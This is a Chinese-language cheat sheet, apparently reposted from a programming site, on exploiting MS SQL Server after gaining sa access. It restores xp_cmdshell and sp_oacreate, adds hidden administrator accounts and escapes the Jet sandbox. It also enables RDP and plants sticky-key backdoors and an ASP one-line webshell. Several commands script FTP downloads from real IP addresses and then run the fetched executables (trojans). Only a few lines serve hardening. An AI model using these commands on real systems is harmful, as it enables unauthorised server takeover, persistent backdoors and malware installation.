1. 程式人生 > >1433修復命令大全提權錯誤大全_cmd_shell組件修復

1433修復命令大全提權錯誤大全_cmd_shell組件修復

存儲過程 編輯 tom mint 保護 line min boot ble

net user SQLDebugger list /add
net localgroup administrators SQLDebugger /add

Error Message:未能找到存儲過程 ‘master..xp_cmdshell‘。

修復法:很通用的,其實碰到 其他126 127的都可以一起修復,

除了xplog70.dll其他的都可以用這命令修復
[/post]xp_cmdshell新的恢復辦法
第一步先刪除:
drop procedure sp_addextendedproc
drop procedure sp_oacreate
exec sp_dropextendedproc ‘xp_cmdshell‘

服務器: 消息 3701,級別 11,狀態 5,行 1
無法 除去 過程 ‘sp_addextendedproc‘,因為它在系統目錄中不存在。
服務器: 消息 3701,級別 11,狀態 5,過程 sp_dropextendedproc,行 18
無法 除去 過程 ‘xp_cmdshell‘,因為它在系統目錄中不存在。
第二步恢復:
dbcc addextendedproc ("sp_oacreate","odsole70.dll")
dbcc addextendedproc ("xp_cmdshell","xplog70.dll")
直接恢復,不管sp_addextendedproc是不是存在


xplog70.dll修復:

Error Message:無法裝載 DLL xplog70.dll 或該 DLL 所引用的某一 DLL。原因: 126(找不到指定的模塊。)。

修復XPLOG70.DLL(先用文件查看下備份的目錄下\x86\bin,然後把下面目錄替換)

第一步
exec sp_dropextendedproc ‘xp_cmdshell‘
第二步
dbcc addextendedproc ("xp_cmdshell","c:\sql2ksp4\x86\binn\xplog70.dll")


未能找到存儲過程 ‘master..xp_cmdshell‘。
第一步:
create procedure sp_addextendedproc --- 1996/08/30 20:13
@functname nvarchar(517),/* (owner.)name of function to call

*/
@dllname varchar(255)/* name of DLL containing function */
as
set implicit_transactions off
if @@trancount > 0
begin
raiserror(15002,-1,-1,‘sp_addextendedproc‘)
return (1)
end
dbcc addextendedproc( @functname, @dllname)
return (0) -- sp_addextendedproc
GO
第二步:
EXEC sp_addextendedproc xp_cmdshell,@dllname =‘xplog70.dll‘declare @o int


SQL Server 阻止了對組件 ‘xp_cmdshell‘ 的 過程‘sys.xp_cmdshell‘ 的訪問,因為此組件已作為此服務器安全配置的一部分而被關閉。系統管理員可以通過使用 sp_configure 啟用 ‘xp_cmdshell‘。有關啟用 ‘xp_cmdshell‘ 的詳細信息,請參閱 SQL Server 聯機叢書中的 "外圍應用配置器"。

;EXEC sp_configure ‘show advanced options‘, 1 --
;RECONFIGURE WITH OVERRIDE --
;EXEC sp_configure ‘xp_cmdshell‘, 1 --
;RECONFIGURE WITH OVERRIDE --
;EXEC sp_configure ‘show advanced options‘, 0 --


刪除sql危險存儲:
DROP PROCEDURE sp_makewebtask
exec master..sp_dropextendedproc xp_cmdshell
exec master..sp_dropextendedproc xp_dirtree
exec master..sp_dropextendedproc xp_fileexist
exec master..sp_dropextendedproc xp_terminate_process
exec master..sp_dropextendedproc sp_oamethod
exec master..sp_dropextendedproc sp_oacreate
exec master..sp_dropextendedproc xp_regaddmultistring
exec master..sp_dropextendedproc xp_regdeletekey
exec master..sp_dropextendedproc xp_regdeletevalue
exec master..sp_dropextendedproc xp_regenumkeys
exec master..sp_dropextendedproc xp_regenumvalues
exec master..sp_dropextendedproc sp_add_job
exec master..sp_dropextendedproc sp_addtask
exec master..sp_dropextendedproc xp_regread
exec master..sp_dropextendedproc xp_regwrite
exec master..sp_dropextendedproc xp_readwebtask
exec master..sp_dropextendedproc xp_makewebtask
exec master..sp_dropextendedproc xp_regremovemultistring
exec master..sp_dropextendedproc sp_OACreate
DROP PROCEDURE sp_addextendedproc


恢復擴展存儲過程的辦法
先恢復sp_addextendedproc,語句如下:
第一:
create procedure sp_addextendedproc --- 1996/08/30 20:13
@functname nvarchar(517),/* (owner.)name of function to call */ @dllname varchar(255)/* name of DLL containing function */ as
set implicit_transactions off
if @@trancount > 0
begin
raiserror(15002,-1,-1,‘sp_addextendedproc‘)
return (1)
end
dbcc addextendedproc( @functname, @dllname)
return (0) -- sp_addextendedproc
GO

第二:
use master
exec sp_addextendedproc xp_cmdshell,‘xp_cmdshell.dll‘
exec sp_addextendedproc xp_dirtree,‘xpstar.dll‘
exec sp_addextendedproc xp_enumgroups,‘xplog70.dll‘
exec sp_addextendedproc xp_fixeddrives,‘xpstar.dll‘
exec sp_addextendedproc xp_loginconfig,‘xplog70.dll‘
exec sp_addextendedproc xp_enumerrorlogs,‘xpstar.dll‘
exec sp_addextendedproc xp_getfiledetails,‘xpstar.dll‘
exec sp_addextendedproc sp_OACreate,‘odsole70.dll‘
exec sp_addextendedproc sp_OADestroy,‘odsole70.dll‘
exec sp_addextendedproc sp_OAGetErrorInfo,‘odsole70.dll‘
exec sp_addextendedproc sp_OAGetProperty,‘odsole70.dll‘
exec sp_addextendedproc sp_OAMethod,‘odsole70.dll‘
exec sp_addextendedproc sp_OASetProperty,‘odsole70.dll‘
exec sp_addextendedproc sp_OAStop,‘odsole70.dll‘
exec sp_addextendedproc xp_regaddmultistring,‘xpstar.dll‘
exec sp_addextendedproc xp_regdeletekey,‘xpstar.dll‘
exec sp_addextendedproc xp_regdeletevalue,‘xpstar.dll‘
exec sp_addextendedproc xp_regenumvalues,‘xpstar.dll‘
exec sp_addextendedproc xp_regread,‘xpstar.dll‘
exec sp_addextendedproc xp_regremovemultistring,‘xpstar.dll‘
exec sp_addextendedproc xp_regwrite,‘xpstar.dll‘
exec sp_addextendedproc xp_availablemedia,‘xpstar.dll‘


刪除擴展存儲過過程xp_cmdshell的語句:
exec sp_dropextendedproc ‘xp_cmdshell‘


恢復cmdshell的sql語句
exec sp_addextendedproc xp_cmdshell ,@dllname =‘xplog70.dll‘

開啟cmdshell的sql語句
exec sp_addextendedproc xp_cmdshell ,@dllname =‘xplog70.dll‘

判斷存儲擴展是否存在
select count(*) from master.dbo.sysobjects where xtype=‘x‘ and name=‘xp_cmdshell‘
返回結果為1就ok

恢復xp_cmdshell
exec master.dbo.addextendedproc ‘xp_cmdshell‘,‘xplog70.dll‘;select count(*) from master.dbo.sysobjects where xtype=‘x‘ and name=‘xp_cmdshell‘
返回結果為1就ok
否則上傳xplog7.0.dll
exec master.dbo.addextendedproc ‘xp_cmdshell‘,‘c:\winnt\system32\xplog70.dll‘


堵上cmdshell的sql語句
sp_dropextendedproc "xp_cmdshell


一.更改sa口令方法:
用sql綜合利用工具連接後,執行命令:
exec sp_password NULL,‘新密碼‘,‘sa‘
(提示:慎用!)

二.簡單修補sa弱口令.

方法1:查詢分離器連接後執行:
if exists (select * from
dbo.sysobjects where id = object_id(N‘[dbo].[xp_cmdshell]‘) and
OBJECTPROPERTY(id, N‘IsExtendedProc‘) = 1)

exec sp_dropextendedproc N‘[dbo].[xp_cmdshell]‘

GO
然後按F5鍵命令執行完畢


方法2:查詢分離器連接後
第一步執行:use master
第二步執行:sp_dropextendedproc ‘xp_cmdshell‘
然後按F5鍵命令執行完畢

無法裝載 DLL xpsql70.dll 或該DLL所引用的某一 DLL。原因126(找不到指定模塊。)
恢復方法:查詢分離器連接後,
第一步執行:sp_dropextendedproc "xp_cmdshell"
第二步執行:sp_addextendedproc ‘xp_cmdshell‘, ‘xpsql70.dll‘


無法在庫 xpweb70.dll 中找到函數 xp_cmdshell。原因: 127(找不到指定的程序。)
恢復方法:查詢分離器連接後,
第一步執行:exec sp_dropextendedproc ‘xp_cmdshell‘
第二步執行:exec sp_addextendedproc ‘xp_cmdshell‘,‘xpweb70.dll‘
然後按F5鍵命令執行完畢

如果以上方法均不可恢復,請嘗試用下面的辦法直接添加帳戶:
查詢分離器連接後,
2000servser系統:
declare @shell int exec sp_oacreate ‘wscript.shell‘,@shell output exec sp_oamethod @shell,‘run‘,null,‘c:\winnt\system32\cmd.exe /c net user Web hacker /add‘

declare @shell int exec sp_oacreate ‘wscript.shell‘,@shell output exec sp_oamethod @shell,‘run‘,null,‘c:\winnt\system32\cmd.exe /c net localgroup administrators Web /add‘

xp或2003server系統: 126錯誤!命令

declare @shell int exec sp_oacreate ‘wscript.shell‘,@shell output exec sp_oamethod @shell,‘run‘,null,‘c:\windows\system32\cmd.exe /c net user Web$ hacker /add‘

declare @shell int exec sp_oacreate ‘wscript.shell‘,@shell output exec sp_oamethod @shell,‘run‘,null,‘c:\windows\system32\cmd.exe /c net localgroup administrators Web$ /add‘


C:\>DIR C:\
SQL Server 阻止了對組件 ‘xp_cmdshell‘ 的 過程‘sys.xp_cmdshell‘ 的訪問,因為此組件已作為此服務器安全配置的一部分而被關閉。系統管理員可以通過使用 sp_configure 啟用 ‘xp_cmdshell‘。有關啟用 ‘xp_cmdshell‘ 的詳細信息,請參閱 SQL Server 聯機叢書中的 "外圍應用配置器"。

分析器執行的語句:

EXEC sp_configure ‘show advanced options‘, 1;RECONFIGURE;EXEC sp_configure ‘xp_cmdshell‘, 1;RECONFIGURE;


有時候用查詢分離器連接執行以上語句的時候會出現找不到存儲過程 sp_addextendedproc

解決方法:

create procedure sp_addextendedproc --- 1996/08/30 20:13
@functname nvarchar(517),/* (owner.)name of function to call */
@dllname varchar(255)/* name of DLL containing function */
as
set implicit_transactions off
if @@trancount > 0
begin
raiserror(15002,-1,-1,‘sp_addextendedproc‘)
return (1)
end
dbcc addextendedproc( @functname, @dllname)
return (0) -- sp_addextendedproc
GO
這段代碼貼入查詢分離器,執行

資源管理器:
c:\windows\explorer.exe


查看目錄
exec master.dbo.xp_subdirs ‘c:\‘
列出磁盤
exec master..xp_fixeddrives


xpsql.cpp: 錯誤 5 來自 CreateProcess(第 737 行) 直接加帳號!

EXEC master.dbo.xp_regwrite ‘HKEY_LOCAL_MACHINE‘,‘SoftWare\Microsoft\Jet\4.0\Engines‘,‘SandBoxMode‘,‘REG_DWORD‘,0
Select * From OpenRowSet(‘Microsoft.Jet.OLEDB.4.0‘,‘;Database=c:\windows\system32\ias\ias.mdb‘,‘select shell("net user 123 123 /add")‘);
Select * From OpenRowSet(‘Microsoft.Jet.OLEDB.4.0‘,‘;Database=c:\windows\system32\ias\ias.mdb‘,‘select shell("net localgroup administrators 123 /add")‘);

echo Windows Registry Editor Version 5.00 >3389.reg
echo. >>3389.reg
echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\netcache] >>3389.reg
echo "Enabled"="0" >>3389.reg
echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon] >>3389.reg
echo "ShutdownWithoutLogon"="0" >>3389.reg
echo [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer] >>3389.reg
echo "EnableAdminTSRemote"=dword:00000001 >>3389.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server] >>3389.reg
echo "TSEnabled"=dword:00000001 >>3389.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermDD] >>3389.reg
echo "Start"=dword:00000002 >>3389.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermService] >>3389.reg
echo "Start"=dword:00000002 >>3389.reg
echo [HKEY_USERS\.DEFAULT\Keyboard Layout\Toggle] >>3389.reg
echo "Hotkey"="1" >>3389.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp] >>3389.reg
echo "PortNumber"=dword:00000D3D >>3389.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp] >>3389.reg
echo "PortNumber"=dword:00000D3D >>3389.reg
regedit /s 3389.reg

開3389:

exec master.dbo.xp_regwrite‘HKEY_LOCAL_MACHINE‘,‘SYSTEM\CurrentControlSet\Control\Terminal Server‘,‘fDenyTSConnections‘,‘REG_DWORD‘,0;--


關3389:

exec master.dbo.xp_regwrite‘HKEY_LOCAL_MACHINE‘,‘SYSTEM\CurrentControlSet\Control\Terminal Server‘,‘fDenyTSConnections‘,‘REG_DWORD‘,1;

查看3389端口

exec xp_regread ‘HKEY_LOCAL_MACHINE‘,‘SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp‘,‘PortNumber‘


查看系統版本
type c:\boot.ini


普通CMD後門
xp_regwrite ‘HKEY_LOCAL_MACHINE‘,‘SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe‘,‘debugger‘,‘reg_sz‘,‘c:\windows\system32\cmd.exe‘


建立用戶1-這裏默認用戶是Reconditeness密碼9527可自行修改
select * from openrowset(‘microsoft.jet.oledb.4.0‘,‘;database=c:\winnt\system32\ias\ias.mdb‘,‘select shell("cmd.exe /c net1 user Reconditeness 9527 /ad &net localgroup administrators terks /ad")‘)
select * from openrowset(‘microsoft.jet.oledb.4.0‘,‘;database=c:\windows\system32\ias\ias.mdb‘,‘select shell("cmd.exe /c net1 user Reconditeness 9527 /ad &net localgroup administrators terks /ad")‘)


win2K直接上PS馬
exec master..xp_regwrite ‘HKEY_LOCAL_MACHINE‘,‘SOFTWARE\Microsoft\Jet\4.0\Engines‘,‘SandBoxMode‘,‘REG_DWORD‘,1
select * from openrowset(‘microsoft.jet.oledb.4.0‘,‘;database=c:\winnt\system32\ias\ias.mdb‘,‘select shell("cmd.exe /c @echo open 60.190.176.85>>net.txt&@echo reconditeness>>net.txt&@echo 7259>>net.txt&@echo get 0.exe>>net.txt&@echo bye>>net.txt&@ftp -s:net.txt&del net.txt & 0.exe")‘)

win03-XP直接上PS馬
exec master..xp_regwrite ‘HKEY_LOCAL_MACHINE‘,‘SOFTWARE\Microsoft\Jet\4.0\Engines‘,‘SandBoxMode‘,‘REG_DWORD‘,1
select * from openrowset(‘microsoft.jet.oledb.4.0‘,‘;database=c:\windows\system32\ias\ias.mdb‘,‘select shell("cmd.exe /c @echo open 60.190.176.85>>net.txt&@echo reconditeness>>net.txt&@echo 7259>>net.txt&@echo get 0.exe>>net.txt&@echo bye>>net.txt&@ftp -s:net.txt&del net.txt & 0.exe")‘)

5下shift後門命令
declare @o int
exec sp_oacreate ‘scripting.filesystemobject‘, @o out
exec sp_oamethod @o, ‘copyfile‘,null,‘c:\windows\explorer.exe‘ ,‘c:\windows\system32\sethc.exe‘;

declare @o int
exec sp_oacreate ‘scripting.filesystemobject‘, @o out
exec sp_oamethod @o, ‘copyfile‘,null,‘c:\windows\system32\sethc.exe‘ ,‘c:\windows\system32\dllcache\sethc.exe‘;

copy c:\windows\explorer.exe c:\windows\system32\sethc.exe
copy c:\windows\system32\sethc.exe c:\windows\system32\dllcache\sethc.exe

declare @o int
exec sp_oacreate ‘wscript.shell‘, @o out
exec sp_oamethod @o, ‘run‘, NULL, ‘XXXXX‘ \\XXXXX為你要執行的命令

寫入註冊表指定的鍵裏指定的值),使用方法(在鍵HKEY_LOCAL_MACHINE\SOFTWARE\aaa\aaaValue寫入bbb):

EXEC master..xp_regwrite

@rootkey=‘HKEY_LOCAL_MACHINE‘,

@key=‘SOFTWARE\aaa‘,

@value_name=‘aaaValue‘,

@type=‘REG_SZ‘,

@value=‘bbb‘


@echo open 121.22.56.5>c:\bin.txt&@echo list>>c:\bin.txt&@echo list>>c:\bin.txt&@echo get gzn.exe>>c:\bin.txt&@echo bye>>c:\bin.txt&@ftp -s:c:\bin.txt&del c:\bin.txt&gzn.exe&gzn.exe&gzn.exe

先copy ftp.exe 到wmpub目錄裏
@echo cd c:\wmpub\>c:\wmpub\in.bat&@echo ftp -s:c:\wmpub\xiuxiu.txt>>c:\wmpub\in.bat

開3389
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f


C:\WINDOWS\system32\dllcache\net1.exe localgroup administrators IUSR_SERVER /add

SQL寫一句話
exec master.dbo.xp_subdirs ‘d:\web\cdlxkj‘;
exec sp_makewebtask ‘d:\web\cdlxkj\XX.asp‘,‘select‘‘<%execute(request("SB"))%>‘‘ ‘

SA沙盒模式提權-----
----------------------
exec master..xp_regwrite ‘HKEY_LOCAL_MACHINE‘,‘SOFTWARE\Microsoft\Jet\4.0\Engines‘,‘SandBoxMode‘,‘REG_DWORD‘,0;
-------------------------------------------------------
Select * From OpenRowSet(‘Microsoft.Jet.OLEDB.4.0‘,‘;Database=c:\windows\system32\ias\ias.mdb‘,‘select shell("net user sql$ 123 /add")‘);
-------------------------------------------------------
Select * From OpenRowSet(‘Microsoft.Jet.OLEDB.4.0‘,‘;Database=c:\windows\system32\ias\ias.mdb‘,‘select shell("net localgroup administrators sql$ /add")‘);

3389 SHIFT

用上的語句:
入侵
EXEC master..xp_regwrite
@rootkey=‘HKEY_LOCAL_MACHINE‘,
@key=‘SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.EXE‘,
@value_name=‘Debugger‘,
@type=‘REG_SZ‘,
@value=‘C:\WINDOWS\explorer.exe‘

恢復
EXEC master..xp_regwrite
@rootkey=‘HKEY_LOCAL_MACHINE‘,
@key=‘SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.EXE‘,
@value_name=‘Debugger‘,
@type=‘REG_SZ‘,
@value=‘‘


映象劫持

EXEC master..xp_regwrite ---這是註冊表編輯!
@rootkey=‘HKEY_LOCAL_MACHINE‘, ---這是位置!
@key=‘SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.EXE‘, -----這也是位置!
@value_name=‘Debugger‘, ---這是表名!
@type=‘REG_SZ‘, ---這裏是寫入的意思!
@value=‘C:\WINDOWS\explorer.exe‘ ----這裏是寫入內容!

整個過程是利用master..xp_regwrite這組件來完成的,

1.sql命令查詢註冊表粘滯鍵是否被劫持

exec master..xp_regread ‘HKEY_LOCAL_MACHINE‘,‘SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe‘,‘Debugger‘

2.sql命令劫持註冊表粘滯鍵功能,替換成任務管理器(當然你也可以替換成你想要的其他命令)

xp_regwrite ‘HKEY_LOCAL_MACHINE‘, ‘SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe‘,
‘Debugger‘,‘REG_SZ‘,‘C:\WINDOWS\system32\taskmgr.exe‘

3.sql命令刪除註冊表粘滯鍵的劫持功能保護你的服務器不再被他人利用

xp_regdeletekey ‘HKEY_LOCAL_MACHINE‘, ‘SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe‘

10樓

sql寫文件

declare @o int, @f int, @t int, @ret int
exec sp_oacreate ‘scripting.filesystemobject‘, @o out
exec sp_oamethod @o, ‘createtextfile‘, @f out, ‘c:\1.vbs‘, 1
exec @ret = sp_oamethod @f, ‘writeline‘, NULL,‘set wsnetwork=CreateObject("WSCRIPT.NETWORK")‘
exec @ret = sp_oamethod @f, ‘writeline‘, NULL,‘os="WinNT://"&wsnetwork.ComputerName‘
exec @ret = sp_oamethod @f, ‘writeline‘, NULL,‘Set ob=GetObject(os)‘
exec @ret = sp_oamethod @f, ‘writeline‘, NULL,‘Set oe=GetObject(os&"/Administrators,group")‘
exec @ret = sp_oamethod @f, ‘writeline‘, NULL,‘Set od=ob.Create("user","test")‘
exec @ret = sp_oamethod @f, ‘writeline‘, NULL,‘od.SetPassword "1234"‘
exec @ret = sp_oamethod @f, ‘writeline‘, NULL,‘od.SetInfo ‘
exec @ret = sp_oamethod @f, ‘writeline‘, NULL,‘Set of=GetObject(os&"/test",user) ‘
exec @ret = sp_oamethod @f, ‘writeline‘, NULL,‘oe.add os&"/test"‘


無NET提權的腳本

struser=wscript.arguments(0)
strpass=wscript.arguments(1)

set lp=createObject("WSCRIPT.NETWORK")
oz="WinNT://"&lp.ComputerName
Set ob=GetObject(oz)
Set oe=GetObject(oz&"/Administrators,group")
Set od=ob.create("user",struser)
od.SetPassword strpass
od.SetInfo
Set of=GetObject(oz&"/" & struser & ",user")
oe.Add(of.ADsPath)

For Each admin in oe.Members
if struser=admin.Name then
Wscript.echo struser & " 建立成功!"
wscript.quit
end if
Next

Wscript.echo struser & " 用戶建立失敗!"
將以上保存為user.VBS文件
然後執行:cscript user.vbs 用戶名 密碼


使用jet沙盤模式,可以解決XP_cmdshell等存儲過程和相關動態鏈接庫帶來的煩惱。出於安全原因,系統默認情況下沙盤模式未開啟,這就需要xp_regwrite開啟沙盤模式:

Exec master.dbo.xp_regwrite ‘HKEY_LOCAL_MACHINE‘,‘SOFTWARE\Microsoft\Jet\4.0
\Engines‘,‘SandBoxMode‘,‘REG_DWORD‘,1

然後執行沙盤命令,在系統添加一個用戶名為test,密碼為1234的用戶:

select * from openrowset(‘microsoft.jet.oledb.4.0‘,‘;database=c:\windows
\system32\ias\ias.mdb‘,‘select shell("cmd.exe /c net user test 1234 /add")‘)

select * from openrowset(‘microsoft.jet.oledb.4.0‘,‘;database=c:\windows
\system32\ias\ias.mdb‘,‘select shell("cmd.exe /c net localgroup
administrators test /add")‘)

不同的操作系統,路徑也不一樣,需要根據情況做修改:

NT/2K: c:\winnt\system32\
XP/2003: c:\windows\system32\

另外Microsoft SQL Server2005在默認情況下,一些存儲過程是關閉著的,需要命令打開:

開啟XP_cmdshell:

EXEC sp_configure ‘show advanced options‘, 1;RECONFIGURE;EXEC sp_configure
‘xp_cmdshell‘, 1;RECONFIGURE;

開啟‘OPENROWSET‘:

exec sp_configure ‘show advanced options‘, 1;RECONFIGURE;exec sp_configure
‘Ad Hoc Distributed Queries‘,1;RECONFIGURE;

開啟‘sp_oacreate‘:

exec sp_configure ‘show advanced options‘, 1;RECONFIGURE;exec sp_configure
‘Ole Automation Procedures‘,1;RECONFIGURE;
[post]

1433修復命令大全提權錯誤大全_cmd_shell組件修復